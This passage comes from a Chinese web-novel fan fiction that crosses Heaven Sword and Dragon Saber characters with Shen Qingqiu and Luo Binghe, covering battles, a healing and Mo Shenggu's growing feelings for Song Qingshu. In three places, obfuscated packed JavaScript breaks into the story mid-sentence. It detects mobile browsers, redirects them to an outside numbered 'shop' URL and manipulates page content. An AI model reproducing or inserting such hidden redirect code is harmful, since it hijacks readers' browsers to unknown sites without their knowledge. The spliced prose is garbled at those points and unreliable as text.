“阿弥陀佛,”成昆合十,声音沙哑低沉,在寂静的石室里显得格外阴森,“看来老衲来迟一步,史帮主竟似……另有奇遇?” 林彩凤又惊又怒,厉声喝道:“恶贼!你还敢来!” 她虽不通高深武功,此刻护夫心切,竟是挺身挡在床前,毫不退让。 莫声谷缓缓收功,将昏迷的宋青书小心放平在软垫上,自己则如松柏般挺立而起,一步踏前,恰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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剑鞘与指爪相交,竟发出金铁摩擦般的刺耳锐响!莫声谷只觉一股阴寒歹毒的气劲顺剑鞘传来,手臂微麻,心中凛然:好深厚的幻阴指力!他手腕一抖,纯阳内力勃发,震开指爪,长剑顺势出鞘半尺,冷冽的剑光如秋水横空,削向成昆手腕。 成昆身形如鬼魅般一晃,险险避开剑锋,左掌悄无声息地拍向莫声谷肋下,掌风中隐带风雷之声,竟是混元掌力!他竟能同时运转阴寒与刚猛两种截然不同的劲力,且转换自如,武功着实诡异高强。 莫声谷沉腰坐马,回剑格挡,剑掌再次相交,“砰”的一声闷响,气劲四溢,震得墙角药炉火焰猛地一窜。两人各退半步,竟是谁也没占到明显便宜。 成昆眼中闪过一丝讶色,他虽知武当七侠名不虚传,但莫声谷如此年轻,内力竟也如此精纯浑厚,尤其是那纯阳正气,隐隐克制他的幻阴寒气。更让他忌惮的是,对方守在狭窄石室中,分明是要护住身后两人,剑法却依旧严谨凌厉,攻守兼备,让他一时难以突破。 他心思电转,目光再次扫过昏迷的宋青书和床上的史火龙。史火龙气息虽弱却稳,显然已度过最危险关头;而那神秘少年,虽昏迷不醒,但能引得莫声谷如此守护,又能在自己幻阴指下救回史火龙,定非常人。 此刻莫声谷状态未损,自己若强行动手,短时间内未必能拿下,一旦惊动庄外丐帮弟子合围,反为不美。他此行本为查探,并非死斗。 念及此处,成昆忽然虚晃一招,逼得莫声谷回剑自守,他自己却借力向后飘退,身法快如轻烟,瞬间已至门口。 “莫七侠好功夫!今日老衲尚有他事,改日再向武当绝学讨教!”阴恻恻的话语声传来,成昆的身影已融入门外黎明前最深的黑暗之中,消失不见,竟是真的说走就走,毫不拖泥带水。 莫声谷持剑凝立,并未追击。他深知成昆武功高强,若一心想逃,自己未必留得住,况且首要之务是护住身后两人无恙。他快步到门口查看,只见廊下空无一人,远处传来丐帮弟子被惊动后赶来的脚步声与呼喝,成昆早已鸿飞冥冥。 他返身回室,先查看了史火龙状况,确认无碍,又立刻俯身探视宋青书。宋青书依旧昏迷,气息微弱但平稳,方才一番打斗似乎并未对他造成直接影响,只是那过度消耗后的虚弱令人揪心。 林彩凤惊魂甫定,颤声道:“莫七侠,那恶贼……” “暂时退走了。”莫声谷沉声道,收剑入鞘,重新盘坐在宋青书身边,目光却落在少年苍白安静的侧脸上,心中思绪翻涌。 成昆来得突然,去得也果决。此人阴险谨慎,此番退走,必是因见自己在此护持,难以轻易得手。但他既已见到青书,恐怕已将这孩子视为眼中钉。日后麻烦,只怕不会少。 石室内重归寂静,只有药炉中酒液微沸的轻响,和几人或平稳或微弱的呼吸声。窗外,天色渐渐透出鱼肚白,但笼罩在莲花山庄上空的阴云,似乎并未因这次短暂的击退而完全散去。莫声谷守护着两个昏迷的人,心中那根弦,绷得更紧了。 一个月后。 莲花山庄后院,掌风呼啸,龙吟隐隐。 青石板铺就的场地开阔平整,四周立着兵器架,在晨光下泛着冷硬的光泽。场边古松虬劲,投下斑驳的阴影。史火龙与莫声谷相对而立,间隔三丈。 史火龙已脱去外袍,只着一件无袖短褂,露出精悍的身躯。他双目灼灼,气息沉凝,经过宋青书近一个月的治疗与调养,不仅致命寒毒尽除,瘫痪多年的双臂恢复活力,连原本有些虚浮阳燥的内息,也在那番“提纯”后,变得厚重绵长了许多,举手投足间,自有一股沉雄的气度。 莫声谷依旧是一身武当常服,身姿挺拔如松,右手随意地按在腰间长剑的剑柄上,神色平静。他深知此次切磋意义非常,既是为验证史火龙恢复状况,也是武当与丐帮交谊的体现,更是……他目光不易察觉地掠了一眼场边静立的青色身影。 宋青书站在那里,身姿有些单薄,面色仍带着失血后的苍白,但眼神专注,清澈的目光落在场中两人身上,仿佛一位审慎的大夫,在观察病患康复后的第一次重要活动。 “莫七侠,请多指教!”史火龙抱拳,声若洪钟,眼中战意升腾。他太需要一场战斗来确认自己了,确认这失而复得的力量,确认那困扰他多年的枷锁是否真的已被打破。 “史帮主,请。”莫声谷微微颔首,左手做了个请的手势,右手依旧按剑未动,气度从容。 54. 穿书误作谪仙官 治好史火龙之后,北方深秋已至。 山道蜿蜒,将莲花山庄的屋舍与人声远远抛在身后,只余下渐起的蝉鸣与风吹过林梢的沙沙声。 “青书你这一次治好史帮主,损耗不少,我们就缓步徐行。”莫声谷查看宋青书的面色后道,“这沿海一带气候温润,风光不错,对你的身体或有益处。” 莫声谷与宋青书一前一后走着,起初还沿着官道,后来便拣了条更僻静的林间小径。宋青书只是沉默地跟着。 “一切都听七叔的。”从治好史帮主之后,宋青书有些许放松。 这小子,一下子容后再议,一下子都听七叔的。 莫声谷走在前面,步伐沉稳,背脊挺直,是惯常行走江湖的警戒姿态,可他的心神,却大半落在了身后那个脚步略显虚浮的青色身影上。 眼前总是晃动着石室中的那一幕:宋青书苍白如纸的脸,决绝划向自己手腕的匕首,那碗鲜红中带着奇异微光的血,还有他晕厥时轻飘如落叶的重量,他剖析史火龙伤势时沉静笃定的眼神,他面对感激时那份超乎年龄的淡然与疏离。 这个师侄自他决然自废武功、转而专注医道时,自己就已经看不懂了。 只是以往,自己只当他心灰意冷,另寻寄托,虽惋惜其武学天赋,却也尊重其选择。可这一个月来所见,彻底颠覆了他的认知。 他救史火龙,是为医者仁心?莫声谷不信。那份决绝里,藏着更深的东西,又像是追寻什么旁人无法理解的答案。 某些念头让他呼吸一滞,脚步不自觉地放缓,几乎想回头确认那人是否还好好跟在身后。但他忍住了,只是握剑的手,指节微微发白。 “师叔。”宋青书的声音忽然从身后传来,依旧带着伤后未愈的淡淡虚弱,却清晰平稳。 莫声谷身形几不可察地一顿,没有立刻回头,只是“嗯”了一声,声音比他自己预想的要干涩一些。 “前方岔路,该往哪边走?”宋青书问。 莫声谷这才抬眼看去,果然到了三岔路口。他定了定神,指向左边那条更窄、掩在更深林木中的小路:“这边。我们沿海走。” 两人转入一条小路,树荫更浓,阳光被切割成细碎的光斑,洒在布满青苔的石板上。宋青书的脚步声很轻,落在松软的落叶和泥土上,几乎听不见。莫声谷却觉得那每一步,都像踩在自己心绪的弦上,带来细微而持续的颤动。 他想起宋青书小时候,粉雕玉琢的一个娃娃,总是跟在大师兄身后,仰着小脸,眼中是全然的崇拜与依赖。后来渐渐长大,少年意气,武功进境颇快,在一众三代弟子中脱颖而出,骄傲是有的,对着他们这些师叔,礼数从来周全。再后来…… 是从什么时候开始…… “七叔,”宋青书又开口,这次话题却转了,“史帮主内力虽经提纯,但沉疴初愈,三年之内,不宜与人全力相搏,尤其是类似幻阴指这等阴寒武功的高手。若再受寒毒侵扰,恐有反复。方才辞行时匆忙,未及细说,若有机会,还请七叔日后相见时,代为提醒一二。” 他的语气纯粹是医者对病患的叮嘱,认真而客观。 莫声谷却听出了别的。青书他……是在担心史火龙?还是仅仅出于医者的责任?这份周到,这份看似疏离实则细密的关怀,为何他对史火龙如此特殊?这个姑且不论。 青书是他的师侄,是大师兄的儿子!他关心他,担忧他,是天经地义的长辈之责。 可为何……为何这份“担忧”,在石室中看到他流血晕厥时,会化为那样尖锐的恐惧和心痛?为何此刻走在他身后,会如此清晰地感知到他脚步的虚浮,呼吸的轻浅,甚至能想象出他苍白面容上的疲惫? 这不是师叔对师侄该有的关注。 至少,不完全是。 一股陌生的燥热悄然爬上莫声谷的耳根,幸而被林荫遮掩。他强迫自己将注意力集中在前方的路上,集中到江湖风雨、门派事务上。可思绪却像脱缰的野马,一次次不由自主地跑偏。 他想起了宋青书深夜独坐院中,就着月光翻阅医书时,那沉静侧影勾勒出的孤寂轮廓;想起了他偶尔望向远山时,眼中一闪而逝的、仿佛承载了无尽时光的苍茫…… 那些画面,以往只觉得这孩子让人心疼。如今细细品味,却每一帧都带着某种惊心动魄的力量,撞得他心口发闷,又泛起一丝说不清道不明的酸软。 “七叔,小心。” 一声提醒,伴随着手腕被轻轻一带。莫声谷猛地回神,才发现自己差点一脚踏进路旁一个被荒草掩盖的浅坑。拉住他的,是宋青书的手。那手指修长,因为失血和虚弱,温度很低,握在他腕间,却像烙铁一样烫人。 莫声谷触电般收回手,动作快得有些突兀。他不敢看宋青书此刻的表情,只含糊地应了一声:“嗯,多谢。” 宋青书似乎并未在意他的失态,只是收回手,继续安静地走着,仿佛刚才只是随手拂开挡路的枝叶。 可莫声谷的心,却再也无法平静了。腕间那转瞬即逝的冰凉触感,反复灼烧着他的皮肤,一路烫进心里。林间光影明灭,蝉鸣聒噪,可他仿佛只听得见自己胸腔里那失序的、越来越响的心跳声。 他意识到,有些东西,不一样了。 那不是简单的长辈对晚辈的关爱,也不是师叔对师侄的责任。那是一种更为尖锐、更为私密、也更让他无所适从的情感。它悄然滋生,在他毫无防备之时,已然扎根。而它的对象……是宋青书。 是他看着长大的师侄,是他大师兄的独子,是一个男子,一个……经历奇特、心思难测、甚至可能身怀隐秘的年轻人。 这认知像一盆冰水,浇熄了方才那莫名的燥热,取而代之的是一种沉甸甸的、混合着惊愕、慌乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109873|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与无措的冰凉。这不对。这不合礼法,不合伦常,甚至可能不容于师门。 他该立刻掐灭这不该有的念头,将其牢牢锁死在心底最深处,永不再想起。 可当他用眼角余光,瞥见身侧青年微微低垂的、显得异常柔和的侧脸线条,和那长睫投下的淡淡阴影时,那股想要将人紧紧护在身后、再不让他受半点伤害的冲动,又如此汹涌地席卷而来,几乎淹没了所有理智的警告。 前路林深不知处,何人居住的草庐隐约可见炊烟。莫声谷深吸一口林间微凉的空气,将那翻腾的心绪狠狠压下,至少表面上,恢复了武当七侠之一的沉稳。 只是那悄然改变的东西,如同投入心湖的石子,涟漪或许会平复,但石子已然沉底,再也无法当它不存在了。 “前方似有个村子,去寻些干净的水和吃食,今晚就在此歇脚吧。”莫声谷指着远处几缕稀薄的炊烟说道。他们已在这荒凉海边走了两日,人都比较疲困。 宋青书微微颔首,并无异议。 村子比远处看着更加破败,屋墙多是土坯垒成,茅草覆顶,被海风吹得歪斜。村民见到两个陌生面孔,尤其莫声谷气度不凡,腰间佩剑,都带着几分警惕与疏离。 两人用碎银换了些干粮和清水,又问村中可有闲置的空屋借宿一晚。一位老村长打量他们半晌,才指了村尾一间据说主家多年前搬走、一直荒废的旧屋。 旧屋比想象中更破,门扉歪斜,窗纸尽破,但好歹能遮些风寒。莫声谷简单收拾出一块干净地方,生了堆火,将干粮烤热。 火光跳跃,映着宋青书沉静的侧脸。他小口喝着温水,望着噼啪作响的火苗,忽然开口,声音不高:“师叔,我们已偏离原定路线甚远。” 莫声谷翻动干粮的手顿了顿:“嗯。这一带人烟稀少,反而安全。你身体还需将养,不宜赶路。”理由充分,语气平静。 到这人烟稀少的地方是防成昆作乱。 宋青书不再说话,只是静静看着火。他知道莫声谷的顾虑,也清楚自己此刻确实是累赘。那种虚弱感,不仅仅是身体上的,更是源自念力本源的空乏,仿佛一口险些见底的深井,恢复起来缓慢而艰难。 从那一次把全部的念力输给史火龙之后,他以为过几天会恢复的念力并没有恢复。 夜深了,海风穿过破窗缝隙,发出呜呜的怪响。莫声谷让宋青书在火堆旁歇下,自己则抱剑靠在门边假寐,耳听八方。 约莫子时前后,原本只有风声浪声的寂静夜晚,忽然被一种奇异的、仿佛布料急速掠过空气的“簌簌”声打破,由远及近,速度极快! 莫声谷瞬间睁眼,手握剑柄,身形如蓄势待发的猎豹。宋青书也立刻警醒,坐起身,苍白的面容在火光映照下更显凝重。那声音……绝非寻常武林高手的轻功,更带着一种难以言喻的、仿佛不属于这个世界的气息。 55. 穿书误作谪仙官2 声音在旧屋外的空地骤然停住。 紧接着,是一个清越中带着几分刻意从容、却又隐约有点气急败坏味道的男声响起:“洛冰河!你够了!我说了那是个意外!你再追,信不信我立刻启动‘那个’!” 另一个声音随即响起,低沉悦耳,却透着一种令人骨髓发寒的阴郁与偏执:“师尊又想逃去哪里?弟子不过是想请师尊回去,好好‘解释’一下,您衣袖里那份‘偶然’得来的、关于空间裂隙的禁术残卷,以及您‘不慎’掉入此界的原因罢了。” “解释什么解释!都说了是风太大刮进来的!至于掉下来……那纯属意外事故!意外你懂吗?!”先前那男声拔高了些。 “呵,意外?”后者轻笑一声,那笑声却无半点暖意,“那弟子便陪师尊在这‘意外’之地,好好游览一番,直到师尊愿意‘意外’地想通了,跟弟子回去为止。” 话音刚落,“轰”的一声巨响,旧屋那本就摇摇欲坠的土墙,竟被一股无形巨力硬生生破开一个大洞!尘土飞扬间,两道身影一前一后卷入屋内! 前面一人,青衣长剑,身形修长,面容俊雅,只是此刻发丝微乱,衣袂染尘,手持一柄看起来颇为不凡的长剑,正是沈清秋。他脸上还维持着一种强撑的镇定,但眼底的懊恼和抓狂几乎要溢出来。 后面紧追而入的,是个一身玄衣的年轻男子,容貌俊美得近乎妖异,眉眼深邃,唇角明明带着一丝笑意,却让人感觉不到丝毫温度,反而有种被深渊凝视的悚然感,正是洛冰河。他手中并无兵器,只是随意站着,周身却萦绕着一股无形无质、却让屋内空气都为之凝滞扭曲的压迫感——那是强大魔气与灵力混合的威压。 破屋内的火堆被劲风激得猛地一暗,险些熄灭。莫声谷在墙破瞬间已拔剑在手,将宋青书严严实实护在身后,目光锐利如刀,扫视着这两个不速之客,心中警铃大作。 这两人出现的方式、身上的气息、还有那完全听不懂却显然涉及非同寻常之事的对话,都透着极度的诡异与危险!尤其是那玄衣男子,给他的感觉,竟比成昆还要深不可测,且那股力量性质,阴寒邪异,绝非正道! 沈清秋和洛冰河显然也没料到这破屋里居然有人,而且还是两个看起来就是本土武林人士的家伙。 洛冰河的目光则在莫声谷的剑和宋青书身上略微停留。莫声谷的武功在他眼中自然不足为惧,但那份纯阳正气的剑意,与此界普遍武者略有不同。而那个被护在身后的青衫少年……洛冰河紫眸微眯,他竟从对方身上感觉到了一种极其微弱“神念”波动?虽然弱小得可怜,且带着明显的枯竭之意,但那本质……似乎更加纯粹自然,不沾半分戾气。有趣。 场面一时僵持。破洞外海风呼啸灌入。 沈清秋干咳一声,努力端出他那副“世外高人”的架子,对着莫声谷和宋青书拱了拱手,语气尽量平和:“咳,二位,打扰了。在下……沈清秋,这是……劣徒洛冰河。我们……嗯,途经此地,不慎惊扰,还望海涵。”他一边说,一边疯狂用眼神示意洛冰河:有外人在,你给我收敛点! 洛冰河似笑非笑地看了沈清秋一眼,倒是没再逼近,只是那目光依旧锁在沈清秋身上,如同盯着猎物的毒蛇。 莫声谷并未因对方看似客气的言辞而放松警惕,手中长剑稳如磐石,沉声道:“二位是何人?深夜破墙而入,所为何事?”他说话时,大半心神依旧锁定着洛冰河,那股阴寒庞大的压力,让他如临大敌。 宋青书被莫声谷护在身后,微微偏头,目光掠过沈清秋手中那柄灵气隐隐的长剑,又落在洛冰河周身那无形扭曲的力场上。 那玄衣男子身上的气息,狂暴、阴冷、充满侵蚀性,却又诡异地凝练强大。而青衣男子身上,则是一种相对中正平和、却同样深邃莫测的灵韵。这两人……绝非此界寻常武林中人。他们口中的“空间裂隙”、“此界”……难道…… 一个惊人的猜测在宋青书心中成形。 沈清秋被莫声谷问得一噎,总不能说“我们是从修仙世界掉下来的,正在处理师徒(?)内部矛盾”吧?他正飞速编着借口,洛冰河却忽然开口,声音带着一种漫不经心的玩味,目光却若有实质地扫过宋青书: “师尊,看来此界也有稍具意思之人。”他话是对沈清秋说,视线却并未离开宋青书,“这位小友,似乎身具异禀?只是……虚耗过甚,如风中残烛,可惜了。” 此言一出,莫声谷脸色骤变,护着宋青书的动作更紧,眼中杀意陡盛:“阁下此话何意?” 对方竟一眼看出青书身体隐患,且语气如此轻慢,令他怒火中烧。 宋青书却轻轻拉了一下莫声谷的衣袖,示意他稍安勿躁。他自己上前半步,与莫声谷并肩,抬眼迎向洛冰河那仿佛能洞悉一切的目光,声音平静无波:“一点旧疾,不劳费心。倒是二位,气息特异,非此间常客。不知因何流落至此?” 他直接点破了关键。沈清秋心中又是一惊,看向宋青书的目光多了几分审视。这少年,年纪轻轻,身处如此诡异情境,面对洛冰河这等煞星,竟能如此镇定,且一语道破他们来历非常,绝非池中之物。 洛冰河眼中兴味更浓,紫眸深处似有暗流涌动:“哦?小友好眼力。”他并未否认,反而踏前一步,那股无形的威压如同潮水般朝着宋青书和莫声谷涌去,并非刻意攻击,却带着一种居高临下的试探与压迫。“不知小友这身颇为有趣的‘神念’,又是从何得来?此界功法,似乎不修此道。” “冰河!”沈清秋低喝一声,暗骂这孽徒又在惹事。他虽也好奇,但眼下明显不是探究这个的时候。 莫声谷感受到那如山如岳般压来的无形力量,胸口一闷,气血翻腾,但他寸步不让,武当九阳功全力运转,纯阳剑意勃发,试图抵挡,额角青筋隐现。这力量的层次,远超他以往所遇! 宋青书面色更白了几分,洛冰河的威压大部分是针对他而来,那其中蕴含的冰冷魔念,刺激着他本就虚弱不堪的身体,带来针扎般的刺痛。 但他眼神依旧清明,甚至带着一种近乎漠然的冷静。他没有回答洛冰河的问题,反而缓缓道:“阁下力量虽强,却与此界格格不入,久留恐生变故。既为非常之事而来,何不速寻归途之法?在此纠缠无益。” 他在提醒。他看出洛冰河对沈清秋的“执着”,也感知到对方力量与此方天地的隐约排斥。这样两个非常理可度的存在滞留于此,本身就是巨大的变数和不稳定因素。 沈清秋心中一动,看向宋青书的目光多了几分深意。这少年,是在暗示他们离开? 洛冰河听了宋青书的话,不但没怒,反而低低笑了起来,那笑声在破屋中回荡,带着魔性的魅力与危险。“小友倒是直言不讳。不过,”他话音一转,紫眸锁死沈清秋,“在带走我想带走的人之前,此地是去是留,由不得旁人置喙。” 话音未落,他忽然抬手,凌空朝着沈清秋一抓! “冰河,何必如此咄咄逼人?我们本来就不是这里的人,不如就像这位小友所说找寻归途之法。”沈清秋早有防备,手中修雅剑光华大盛。 “好了,师尊不闹了,我也不闹了。” “不过师尊得答应我不能再逃离。” “好,不过我们得先看看这位小友。” 两人定睛一看,原来是宋青书早已昏迷,而莫声谷在旁边扶着他摇摇欲坠的身体。原来宋青书刚才受到洛冰河的威压,念力又未复,所以才会不省人事。 少年脸色白得透明,莫声谷探他脉息,只觉其体内气机微弱紊乱。 九转熊蛇丸的药力似乎只能护住心脉,对这念力枯竭之症,效果甚微。 “这位兄弟,我是方外之人,落入此间,是我等之所未料,我名沈清秋,这个乃是我的徒弟洛冰河,刚才只是同这位小友开个玩笑,还望海涵。”沈清秋缓缓说道。 “开个玩笑,便能够把人开晕过去吗?”莫声谷心中焦急,甚至口不择言了。 “这位小友的病我能治,但还望仁兄通通名姓,我也好称呼。”沈清秋的话让莫声谷激荡的心情平复了些许。 “我乃武当张三丰名下第七弟子,名叫莫声谷。这个乃是我大师兄的儿子,名叫宋青书。”莫声谷知道刚才自己是有点无礼,语气缓和道。 只见沈清秋却愣住了,原来竟是到了《倚天屠龙记》中吗?那可到还算是好。 沈清秋拱手道:“原来是莫七侠,请见谅。徒弟无礼,我这做师父的给你赔个不是。”他看了看洛冰河,他嘴角微不可察地抽搐了一下。 洛冰河听见师尊给他赔不是,心里顿时涌起一股暖意。 不过以后还是不可如此孟浪。 累及师尊,心有愧疚。 “我们对二位绝无加害之心。至于如何寻来……”他指了指自己的鼻子,又指了指昏迷的宋青书,语气略带无奈,“我与贵师侄功法同源……嗯,算是吧,对此有些感应。循迹而来,并非难事。” 沈清秋连忙摆手,脸上露出“别提了”的糟心表情:“此事说来话长,总之……关系复杂,绝非同道。眼下当务之急,是救治贵师侄。贵师侄似乎修炼了一种极为特殊、类似于‘神识’却更为本源纯粹的力量,此番过度消耗,已然伤及根本,刚才又受到了我这徒儿的压制,危若累卵。” 他一番话,直接点破了宋青书伤势的关键,连“神识”、“本源”这类莫声谷闻所未闻的词汇都用上了,而他的徒弟却又称它为“神念”,看来这两人似是比他们知道的还多。 莫声谷心中信了七八分,但警惕未消:“我们把它叫做念力,阁下有何良策?” 沈清秋走到床边,仔细看了看宋青书的脸色沉吟道:“关键就是如何唤醒并修复他那枯竭的‘念力之源’。”他用了莫声谷所说的“念力”一词。 “他这力量,迥异于此界内力,更接近天地间某种本源灵韵的运用,似是以自身神魂为引,沟通调动。如今源泉近乎干涸,神魂亦受创沉寂,寻常药物功法,皆不对症。” 莫声谷心中一紧:“难道……无救?” “那倒未必。”沈清秋看向莫声谷,正色道,“莫七侠,接下来我要尝试以独门手法,刺激引导他体内残存的念力,尝试令其重新汇聚、萌发。此法于我来说非常简单,但是要控住力道,以免损伤机理。” “师尊,我亦在一旁,你安心治他便是。”洛冰河一意听沈清秋的。 莫声谷也重重点头:“有劳沈道友。该如何做,我必全力配合。” 沈清秋不再多言,重新凝神静气。这一次,他双手齐出,左手食指中指并拢,轻按在宋青书头顶百会穴,右手同样二指,则虚悬于其丹田气海之上。他闭上双眼,周身泛起一层极淡的、如水波般的青色光晕,那光晕温润中正,带着盎然的生机与一种难以言喻的“灵性”。 莫声谷能感觉到,一股迥异于内力、更为精微玄妙的力量,正从沈清秋双手渡入宋青书体内。那力量并不霸道,反而如同春雨润物,无声无息地渗透,循着某种奇异的轨迹,向着宋青书身体深处那近乎寂灭的“源泉”探寻而去。 沈清秋的眉头微微蹙起。在他的灵力感知中,宋青书的体内情况比他预想的还要糟糕。那念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这是一个极其缓慢的过程。宋青书体内,那些源于重生、被他自己命名为“念力”的本源力量,在沈清秋这来自异界、深谙神识修炼之法的独特手段刺激下,如同冬眠的种子感受到了春天的呼唤,开始挣扎着、极其缓慢地复苏、聚集。 莫声谷看到,宋青书苍白的面容上,渐渐浮现出一层极其淡的、几乎看不见的温润光泽,他微弱的呼吸,也变得稍微有力、平稳了一些。 不知过了多久,或许是一个时辰,或许更久。沈清秋的脸色已经苍白如纸,周身青色光晕黯淡到了极点,显然消耗巨大。 宋青书体内,那些散乱的乳白色丝线,终于汇聚成了一个米粒大小、极其黯淡、却已然成型的、缓缓自旋的微小漩涡! 漩涡虽小,却散发出微弱却坚韧的生机,开始自行从周遭汲取着极其稀薄的、仿佛来自天地间的某种能量,缓慢地补充、壮大自身。虽然速度慢得令人发指,但这意味着,枯竭的源泉,重新开始活了过来! 沈清秋长长舒了一口气,收回双手,身体晃了一下,几乎坐不稳,被一直紧盯着他的洛冰河及时扶住。 本来他不是这样弱的,可能是因为这个世界没有灵力,还因为宋青书体内的状况是复杂的,他小心翼翼地探查,不能碰触到那些似乎是被封印的东西。 “成了……”沈清秋声音虚浮,透着浓浓的疲惫,“他自身的念力之源已重新凝聚,虽微弱,但根基已立,可自行缓慢恢复。假以时日,辅以静养与适当的……嗯,类似滋养神魂的药材或环境,当可渐渐复原,甚至……因祸得福,更加精纯。”他看了一眼桌上那个湿漉漉的海藻囊,“那里面是我从那海中漩涡附近采集的几种水生灵藻,虽非灵药,但沾染了一丝那里的空间与阴煞交汇的驳杂灵气,或许……对他这种特殊力量体质,有微弱的温养之效,可捣碎外敷丹田与眉心。只是效用未知,需谨慎尝试。” 莫声谷看着床上呼吸渐稳、脸色好转的宋青书,又看看虚弱不堪却眼神清正的沈清秋,心中百感交集。他退后一步,对着沈清秋,郑重地躬身一礼:“沈道友救命大恩,莫声谷与武当,永世不忘!此前多有得罪,还望海涵!” 沈清秋连忙摆手,苦笑道:“莫七侠不必如此。此事本就是我师徒……牵连了二位。能略尽绵力,也算弥补一二。”他顿了顿,神色转为严肃。 “师尊,你看禁书似乎是有什么提示?”洛冰河提醒沈清秋往他所指的方向看。 可是莫声谷什么也看不到。 “原来是提示我们需要有一灵力之物,方能再开空间缝隙。”沈清秋用了传音法,只有洛冰河一个人能够听得见。 看来关键点还是落在宋青书身上。 这个宋青书似乎和他从书本里看到的那个反派宋青书不一样。 其实他只不过是看一看这本禁书,没有想到就被引来这里,也是这孽徒紧追不舍,所以一起跟来了,生怕他离开他。 看来还是要把这件事情好好地告诉这孽徒,以安其心。 于是他马上就告诉了洛冰河,误会不能隔夜,否则后果不堪细想。 两人这样那样,这么那么地聊了一刻钟的时间。 莫声谷只看见他们脸上的表情变幻莫测。 到最后沈清秋舒了一口气,洛冰河眉眼舒展。孽徒还是不够信任他,他早就说了“我愿意”了,看来培养信任对他们两人来说还是任重道远啊。 “莫七侠,不知我二人可否有这个荣幸和你们一起同行呢?”沈清秋和洛冰河谈完了,便转过身来道。 “二位既然已经治好了我侄儿,那便是我们的恩人,恩人有命,怎敢不从?”莫声谷道。莫声谷觉得这二人虽然是神秘了一点,但是应当无恶意,他对他们的警惕心已减。 56. 穿书误作谪仙官3 宋青书没过多久就已经醒来。第二日四人简单收拾行装,预备启程。时值元末乱世,沿途多见流民、溃兵,民生凋敝。好在沈清秋似对路线极熟,总能避开混乱之地,选相对安稳的道路。 其实真正的原因是这个世界是以他所熟悉的东西构造的。 这日行至河北境内,天色将晚,前方却不见城镇。莫声谷查看地图:“按行程,该到抚宁了,怎地还是一片荒原?” 沈清秋眺望北方,忽然道:“前方三里处有座荒庙,可暂歇一夜。” 沈清秋作为一个神,他的眼力自然非莫声谷这等凡人所能及。 洛冰河侧耳倾听:“师尊,有马蹄声,约二十骑,从西北方向来。” 莫声谷脸色一凝:“是敌是友?” “难说。”沈清秋道,“先去荒庙,静观其变。” 四人加快脚步,果然见一座破败的山神庙。庙宇不大,院墙半塌,正殿门窗残缺,但勉强可避风雨。 刚进庙门,马蹄声已近。洛冰河闪身到门边窥看,低声道:“是元兵,但装扮杂乱,似是溃军。” 这一路上,沈清秋用传音法告诉了他这个世界的大致情况。 二十余骑在庙外停下,为首的是个独眼大汉,满脸横肉,用生硬的汉语喊道:“里面的人出来!老子看见你们进去了!” 莫声谷握剑欲出,沈清秋却按住他,自己缓步走到院中:“诸位军爷有何贵干?” 独眼大汉打量沈清秋,见他书生打扮,神色轻蔑:“把值钱的东西交出来!还有马匹、兵器,统统留下!” 沈清秋在路途中换了一身平常的打扮,他来时穿的太过扎眼,会叫人引为异类。 沈清秋摇扇轻笑:“军爷说笑了,我们几个穷书生,哪有什么值钱之物。” “少废话!”大汉一挥手,几个元兵下马围上,“搜!” 洛冰河从庙中走出,挡在沈清秋身前,冷声道:“谁敢?” 他虽只一人,但气势凛然,几个元兵竟一时不敢上前。独眼大汉怒道:“找死!”拔刀劈来! 洛冰河不闪不避,待刀锋及面,才侧身让过,同时一掌拍在刀身上。那刀“嗡”的一声,竟从中折断!大汉虎口崩裂,鲜血直流,惊骇后退。 “内家高手!”有识货的元兵惊呼。 此时宋青书与莫声谷也走出庙来。莫声谷武当七侠的名头在北方也颇有威名。元兵中有人认出道:“是武当派的!快走!” 溃兵最忌碰上有组织的武林人士,当即上马欲逃。沈清秋却忽然道:“且慢。” 他走到独眼大汉面前,递过一个小瓶:“阁下虎口伤得不轻,此药可止血生肌。” 大汉愣住,接过药瓶,神色复杂:“你...为何...” “乱世求生,各有不易。”沈清秋淡淡道,“但劫掠百姓,终非长久之计。北方义军四起,何不改换门庭?” 大汉沉默片刻,抱拳道:“多谢先生指点。”率众离去。 回到庙中,莫声谷不解:“沈道友为何放走他们?这些溃兵为祸地方,不如擒下送官。” 沈清秋摇头:“擒之无用。官府自身难保,哪会管这些溃兵。不如劝其向善,或许能少些劫掠。” 宋青书若有所思:“沈道友行事,常出人意表。”沈前辈的行事和他差不多。 夜深,四人在庙中生火取暖。洛冰河默默拨弄柴火,火光映着他俊美的侧脸。沈清秋靠坐墙边,闭目养神,手中折扇轻摇。 莫声谷忽然道:“沈道友,这一路多谢照应。只是莫某还是想要先生解惑。” “莫七侠请讲。” “二位武功医术皆超凡脱俗,不知到底来自何处?” 庙中一时寂静,只闻柴火噼啪声。沈清秋睁开眼,目光平静:“莫七侠一定要问的话,我也不妨说一说,我们来自另一个世界,到此只为完成一个任务,莫七侠可信?” 莫声谷笑道:“沈道友既说了,我们便信了。”宋青书早就已经猜到了,脸上毫无意外。 沈清秋也不解释,转而道:“秦皇岛那位故交,不知是何人物?” 莫声谷神色稍缓:“是我早年游历时结识的一位朋友,姓海,单名一个‘岳’字。原是大都宫廷侍卫长,因不满朝廷腐败,辞官归隐,在秦皇岛开了间武馆。此人武功不俗,为人仗义,在当地很受敬重。”原来莫声谷说他在这里附近有位故交,想去走走。 “海岳...”沈清秋若有所思,“可是‘翻海掌’海岳?”为何师尊连这都知道啊,洛冰河本来就对师尊似乎对这里很熟悉这件事感到很奇怪。 算了,以后再问吧。 